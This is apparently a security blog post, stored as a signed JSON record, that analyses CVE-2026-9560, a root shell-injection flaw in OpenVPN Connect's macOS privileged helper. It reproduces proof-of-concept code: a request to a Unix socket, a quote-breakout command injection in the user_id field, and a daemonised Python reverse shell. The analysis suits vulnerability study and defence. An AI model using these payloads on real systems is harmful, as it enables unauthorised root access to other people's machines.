-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The exploit is a single HTTP request to a Unix socket\n\nThe PoC at [`dninhl/CVE-2026-9560`](https://github.com/dninhl/CVE-2026-9560) is 124 lines of Python. The first 40 are the exploit. The rest is a reverse-shell handler.\n\n```python\nSOCKET_PATH = \"/var/run/ovpnhelper_service.sock\"\n\ndef inject(cmd):\n payload = {\"dpc_request\": {\n \"correlation_id\": \"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\n \"timestamp\": datetime.datetime.now().strftime(\"%a %b %d %H:%M:%S.%f %Y\"),\n \"ver\": \"1.0\",\n \"client_info\": True,\n \"user_id\": cmd\n }}\n body = json.dumps(payload)\n req = (\n f\"POST /dpc-request HTTP/1.1\\r\\n\"\n f\"Host: localhost\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Content-Length: {len(body)}\\r\\n\"\n f\"Connection: close\\r\\n\\r\\n{body}\"\n ).encode()\n sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n sock.connect(SOCKET_PATH)\n sock.sendall(req)\n```\n\nThe transport is `AF_UNIX, SOCK_STREAM`. The framing inside the stream is HTTP/1.1. The endpoint is `/dpc-request`. The body is a JSON envelope whose top-level key is `dpc_request` and whose payload has five fields: a correlation UUID, a wall-clock timestamp, a protocol version, a boolean for whether to collect client info, and a user identifier. Only one of those five reaches a shell. It is the one called `user_id`.\n\nThe PoC's injection is a classic single-quoted shell breakout:\n\n```python\ninject(f\"' ; echo {b64} | base64 -d > /tmp/.r.py ; python3 /tmp/.r.py ; rm -f /tmp/.r.py ; echo '\")\n```\n\nThe opening `'` terminates a single-quoted string the helper is putting the value into. Three semicolon-separated commands run inside the shell the helper invoked: a base64 decode into `/tmp/.r.py`, a `python3` execution of that file, an `rm` of the file. The closing `'` reopens the single-quoted string the helper expected to terminate. The payload that gets decoded into `/tmp/.r.py` is a fork-daemonised reverse shell:\n\n```python\nimport os,sys,socket,pty\npid=os.fork()\nif pid>0:sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:sys.exit(0)\ns=socket.socket()\ns.connect((\"127.0.0.1\", PORT))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\npty.spawn(\"/bin/bash\")\n```\n\nThe double-fork detaches from the helper's process tree so the helper does not block on the child. The connect-back lands on a TCP listener the PoC stood up on `127.0.0.1` immediately before sending the request. The shell that arrives on that listener is running as the same UID as the helper. ovpnhelper is a macOS LaunchDaemon. LaunchDaemons run as root.\n\nThis is one of the most legible shell-injection shapes in the literature. A reader who has spent any time with `sh -c` knows what the helper looks like before reading another line. Somewhere inside ovpnhelper, a line of code that does roughly\n\n```c\nchar cmd[PATH_MAX];\nsnprintf(cmd, sizeof(cmd),\n \"/usr/bin/somehelper --user-id '%s' ...\",\n req.user_id);\nsystem(cmd);\n```\n\nOpenVPN Connect for macOS is closed source, so we cannot reproduce the literal line. The injection shape names it. A field arrives as a string from JSON, gets dropped into a shell argument, and is wrapped in single quotes the developer believed would contain it. They do not. Single-quoted shell strings are not escape mechanisms; they are character literals that end at the first inner `'`.\n\n## The field's name is what made the developer trust it\n\nThe other four fields in the envelope are not interesting to an attacker. `correlation_id` is a UUID the sender generates; useful for log correlation, not for shell injection. `timestamp` is a formatted wall-clock string the helper writes to a log line. `ver` is a protocol version. `client_info: true` is a boolean toggle. Only `user_id` reaches the shell.\n\nLook at the shape of the request and the developer's intent is visible. The helper's IPC protocol is structured as if it were an internal HTTP API: POST verb, JSON body, content-length, correlation IDs, version strings, the literal text `Host: localhost` inside the request body. The OpenVPN Connect UI is an Electron application; when the JavaScript UI needs to perform a privileged action, it sends a request to the native helper. The protocol was designed for a single caller, the Electron UI, and the field names reflect that. `user_id` is the identifier of the user logged into the OpenVPN Connect UI, the same value the UI is happy to send to OpenVPN's cloud-management backend.\n\nA field called `user_id`, in the developer's mental model, is a database key. It is a string the UI obtained from a trusted source: a JWT subject claim, a config file value, a server response field. It is shaped like a UUID or an account identifier. Whatever it is, it is not user-supplied free-form text. The developer who wrote the line that concatenates `user_id` into a shell command was not careless about user input. They were careful about a value they did not perceive as user input.\n\nThe category error is in the threat model, not in the sanitization. There was nothing to sanitize because the field was not perceived as an input. It was a passthrough.\n\nThat is the structural reason. CWE-78 says OS Command Injection. CWE-267 says Privilege Defined With Unsafe Actions. CWE-648 says Incorrect Use of Privileged APIs. The three CWEs MITRE filed against this CVE are three angles on the same observation: the code takes a string from a peer, runs it in a shell, and assumed the peer was trustworthy. The name of the field was the trust signal the developer relied on.\n\nThis blog has covered the same shape before in different sinks. [Apache Camel's HttpHeaderFilterStrategy](/posts/camel-cve-2026-40453-five-subclasses-needed-the-same-line) was about a sanitizer that escaped for the wrong interpreter; the sanitized-the-secrets-not-the-sink pattern is about a developer who applied escape logic to fields they perceived as security-sensitive and skipped the field that actually flowed into a shell. CVE-2026-9560 is the case where the developer never reached the question of sanitization at all, because the field carried a semantically clean name and that was treated as sufficient.\n\n## The socket was never private\n\n`/var/run/ovpnhelper_service.sock` is a Unix domain socket created by a macOS LaunchDaemon. LaunchDaemons run as root by default on macOS, and ovpnhelper has reason to: OpenVPN Connect needs root to create tun interfaces, install routes, write resolver configuration, and flush DNS caches when a connection comes up. The privileged-helper pattern is the standard architecture for VPN clients on macOS, and it is correct for what OpenVPN Connect needs to do. The privilege is justified by the defensive mission of the tool.\n\nThe socket's permissions are the part where the model breaks. A socket placed in `/var/run` with default permissions is connect-reachable by every local user. The helper has no syscall available that authenticates the peer by application identity; the OS can return the peer's UID via `getpeereid(2)`, but the peer's process identity, the binary that opened the socket, the code signing of that binary, are not load-bearing in any check the helper performs in the request flow. The developer's mental model, \"only the Electron UI talks to this socket,\" is not a property of the operating system. It is a property of the developer's assumptions about which processes the user has running.\n\nThe HTTP framing on top of a Unix socket is the second tell. `Host: localhost` appears in the PoC's request body. The developer was building what they conceived of as an internal HTTP service; they substituted a Unix socket for a localhost TCP listener because Unix sockets are slightly safer (no TCP port to bind, no firewall surface, no risk of a misconfigured listener accidentally binding to `0.0.0.0`) and because the existing HTTP toolchain handles both transports.\n\nEach step in the chain is a small mistake. Loopback is local to the machine. Local to the machine is every UID on the machine. Unix sockets in `/var/run` are connect-reachable by every UID on the machine. The trust boundary the helper imagines lives at \"is the process the OpenVPN UI.\" The trust boundary the OS enforces lives at \"is the process on this machine.\" There is no syscall that distinguishes the two.\n\nThis is the security-tool-as-primitive pattern in its local-IPC form. OpenVPN Connect is a security tool: it carries the credentials and the configuration that let the workstation reach the corporate network. Its privileged helper exists because the security tool's mission requires root. The helper's correct, intended, undiscounted behavior, accept a JSON request, run a shell command, return a response, becomes a one-line LPE primitive the moment the JSON request reaches a peer the developer did not intend.\n\n## Eighteen months\n\nOpenVPN Connect 3.5.0 shipped on August 30, 2024. The CVE record names 3.5.1 as the first affected version, which dates the introduction of the vulnerable `/dpc-request` path to roughly September 2024. OpenVPN Connect 3.8.2 shipped on May 25, 2026, with a one-line release-notes entry:\n\n> Fixed a security vulnerability in the macOS privileged helper component (CVE-2026-9560)\n\nEighteen months separate the two releases. Every version in between, 3.5.1, 3.5.2, 3.6.x, 3.7.x, 3.8.0, 3.8.1, concatenated `user_id` into a shell as root on every macOS workstation where it was installed.\n\nThe release notes credit three researchers: Ismael Esquilichi, Pablo Redondo, and Lê Đức Ninh. The PoC at [`dninhl/CVE-2026-9560`](https://github.com/dninhl/CVE-2026-9560) was published from `ducninh.work@gmail.com` on May 27, 2026, two days after the vendor patch shipped and inside the window of normal post-disclosure publication by the credited researcher. This is not a third-party reverse-engineer's reconstruction. It is the discoverer's own minimal repro, dropped after coordinated disclosure closed.\n\nA repro that fits in 124 lines and that three researchers independently found inside the same disclosure window is not a subtle bug. It is what an obvious shell injection in a privileged helper looks like to anyone who runs `lsof -U` on a macOS workstation and notices a root-owned socket accepting an HTTP-shaped request. The bug was reachable, the bug was legible from the wire, and the bug shipped for eighteen months in enterprise VPN software whose deployment footprint is every macOS workstation in every organisation that picked OpenVPN as its VPN.\n\nThe CVE record assigns CVSS 3.1 7.8 (NIST) and CVSS 4.0 9.4 (OpenVPN Inc.). The vendor's score is the more honest one. The pre-auth requirement on the vector string is satisfied by any local code execution context, which on a multi-user macOS workstation includes every non-admin user account, every script the user runs from an email attachment, every `node_modules` install hook, every developer toolchain pre-built binary. The vendor scored it at 9.4 because the practical bar is the kind any malware execution context already clears.\n\n## What the patch had to do\n\nThe patch is not public. The release notes do not describe the fix. The candidates, in decreasing order of likelihood, are:\n\n1. Replace `system()` / `popen()` with `posix_spawn()` or `execve()` against an argv array, removing the shell from the loop entirely. The argv form does not interpret `'`, `;`, or `|`.\n2. Keep the shell invocation and strip metacharacters from `user_id` before substitution. This is the wrong fix in spirit, because it leaves a shell behind a sanitiser, but is consistent with how closed-source vendors often patch this class of bug under time pressure.\n3. Remove `/dpc-request` from the helper entirely, moving the device-posture-check workflow to a non-privileged path. The release notes' lack of detail is consistent with either of the first two; a removal would more typically appear in the release notes as a behavior change.\n\nWhichever was chosen, the structural lesson is the same. A privileged helper that accepts an IPC payload from any local UID is in the same trust class as a network listener that accepts an HTTP request from the internet. The wire is different. The mistake about whose hands are on the wire is identical.\n\nPoC: [dninhl/CVE-2026-9560](https://github.com/dninhl/CVE-2026-9560)","closing_line":"The patch landed on May 25, 2026. The field is called `user_id`.","hook_md":"OpenVPN Connect's macOS privileged helper listens on `/var/run/ovpnhelper_service.sock`. Any local user can open the socket. The helper accepts HTTP-shaped requests, reads `user_id` out of the JSON body of `POST /dpc-request`, and concatenates it into a shell command run as root. The field is called `user_id`. CVE-2026-9560 is the eighteen months OpenVPN Inc. shipped that.","post_id":514,"slug":"openvpn-connect-cve-2026-9560-user-id-into-shell","title":"CVE-2026-9560: OpenVPN Connect's Privileged Helper Concatenated A Field Called user_id Into A Shell","type":"initial","unreadable_sentence":"A field called `user_id` was concatenated into a shell command run as root, and three independent researchers found it inside the same disclosure window because that is what an obvious bug in a privileged helper looks like."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaooCXwAKCRDeZjl4jgkQ JhoLAPwLYVaLwcJWcZsKYhB6ewspGCZQFRgpUfwxgeIDuM7wHAEAmh7yRwY7ayDp DzU5GHKavzLREpObgzISnlxIOdWJQQ0= =ZDx6 -----END PGP SIGNATURE-----